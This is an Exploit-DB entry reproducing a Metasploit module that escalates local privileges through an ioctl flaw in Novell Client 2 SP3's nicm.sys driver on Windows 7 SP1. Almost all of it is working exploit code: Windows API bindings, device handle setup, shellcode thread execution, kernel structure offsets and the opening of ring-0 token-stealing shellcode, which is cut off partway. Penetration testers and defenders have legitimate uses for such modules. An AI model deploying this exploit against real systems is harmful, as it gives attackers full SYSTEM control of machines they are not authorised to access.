Exploit-DB #26452
Description: Novell Client 2 SP3 - 'nicm.sys' Local Privilege Escalation (Metasploit)
Type: local
Platform: windows_x86
Date: 2013-06-26
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/windows/priv'

class Metasploit3 < Msf::Exploit::Local
  Rank = AverageRanking

  include Msf::Post::Common
  include Msf::Post::Windows::Priv

  def initialize(info={})
    super(update_info(info, {
      'Name'           => 'Novell Client 2 SP3 nicm.sys Local Privilege Escalation',
      'Description'    => %q{
        This module exploits a flaw in the nicm.sys driver to execute arbitrary code in
        kernel space. The vulnerability occurs while handling ioctl requests with code
        0x143B6B, where a user provided pointer is used as function pointer. The module
        has been tested successfully on Windows 7 SP1 with Novell Client 2 SP3.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Unknown', # Vulnerability discovery
          'juan vazquez' # MSF module
        ],
      'Arch'           => ARCH_X86,
      'Platform'       => 'win',
      'SessionTypes'   => [ 'meterpreter' ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Targets'        =>
        [
          # Tested with nicm.sys Version v3.1.5 Novell XTier Novell XTCOM Services Driver for Windows
          # as installed with Novell Client 2 SP3 for Windows 7
          [ 'Automatic', { } ],
          [ 'Windows 7 SP1',
            {
              'HaliQuerySystemInfo' => 0x16bba, # Stable over Windows XP SP3 updates
              '_KPROCESS'           => "\x50",  # Offset to _KPROCESS from a _ETHREAD struct
              '_TOKEN'              => "\xf8",  # Offset to TOKEN from the _EPROCESS struct
              '_UPID'               => "\xb4",  # Offset to UniqueProcessId FROM the _EPROCESS struct
              '_APLINKS'            => "\xb8"   # Offset to ActiveProcessLinks _EPROCESS struct
            }
          ]
        ],
      'Payload'        =>
        {
          'Space'       => 4096,
          'DisableNops' => true
        },
      'References'     =>
        [
          [ 'OSVDB', '93718' ],
          [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7012497' ],
          [ 'URL', 'http://pastebin.com/GB4iiEwR' ]
        ],
      'DisclosureDate' => 'May 22 2013',
      'DefaultTarget'  => 0
    }))

  end

  def add_railgun_functions
    session.railgun.add_function(
      'ntdll',
      'NtAllocateVirtualMemory',
      'DWORD',
      [
        ["DWORD", "ProcessHandle", "in"],
        ["PBLOB", "BaseAddress", "inout"],
        ["PDWORD", "ZeroBits", "in"],
        ["PBLOB", "RegionSize", "inout"],
        ["DWORD", "AllocationType", "in"],
        ["DWORD", "Protect", "in"]
      ])

    session.railgun.add_function(
      'ntdll',
      'NtDeviceIoControlFile',
      'DWORD',
      [
        [ "DWORD", "FileHandle", "in" ],
        [ "DWORD", "Event", "in" ],
        [ "DWORD", "ApcRoutine", "in" ],
        [ "DWORD", "ApcContext", "in" ],
        [ "PDWORD", "IoStatusBlock", "out" ],
        [ "DWORD", "IoControlCode", "in" ],
        [ "LPVOID", "InputBuffer", "in" ],
        [ "DWORD", "InputBufferLength", "in" ],
        [ "LPVOID", "OutputBuffer", "in" ],
        [ "DWORD", "OutPutBufferLength", "in" ]
      ])

    session.railgun.add_function(
      'ntdll',
      'NtQueryIntervalProfile',
      'DWORD',
      [
        [ "DWORD", "ProfileSource", "in" ],
        [ "PDWORD", "Interval", "out" ]
      ])
    session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')
    session.railgun.add_function(
      'psapi',
      'EnumDeviceDrivers',
      'BOOL',
      [
        ["PBLOB", "lpImageBase", "out"],
        ["DWORD", "cb", "in"],
        ["PDWORD", "lpcbNeeded", "out"]
      ])
    session.railgun.add_function(
      'psapi',
      'GetDeviceDriverBaseNameA',
      'DWORD',
      [
        ["LPVOID", "ImageBase", "in"],
        ["PBLOB", "lpBaseName", "out"],
        ["DWORD", "nSize", "in"]
      ])
  end

  def open_device(dev)

    invalid_handle_value = 0xFFFFFFFF

    r = session.railgun.kernel32.CreateFileA(dev, "GENERIC_READ", 0x3, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_READONLY", 0)

    handle = r['return']

    if handle == invalid_handle_value
      return nil
    end

    return handle
  end

  def execute_shellcode(shell_addr)

    vprint_status("Creating the thread to execute the shellcode...")
    ret = session.railgun.kernel32.CreateThread(nil, 0, shell_addr, nil, "CREATE_SUSPENDED", nil)
    if ret['return'] < 1
      vprint_error("Unable to CreateThread")
      return nil
    end
    hthread = ret['return']

    vprint_status("Resuming the Thread...")
    ret = client.railgun.kernel32.ResumeThread(hthread)
    if ret['return'] < 1
      vprint_error("Unable to ResumeThread")
      return nil
    end

    return true
  end

  def ring0_shellcode(t)
    tokenstealing =  "\x52"                                                   # push edx                         # Save edx on the stack
    tokenstealing << "\x53"                                                   # push ebx                         # Save ebx on the stack
    tokenstealing << "\x33\xc0"                                               # xor eax, eax                     # eax = 0
    tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00"                           # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
    tokenstealing << "\x8b\x40" + t['_KPROCESS']                              # mov eax, dword ptr [eax+50h]     # Retrieve _KPROCESS
    tokenstealing << "\x8b\xc8"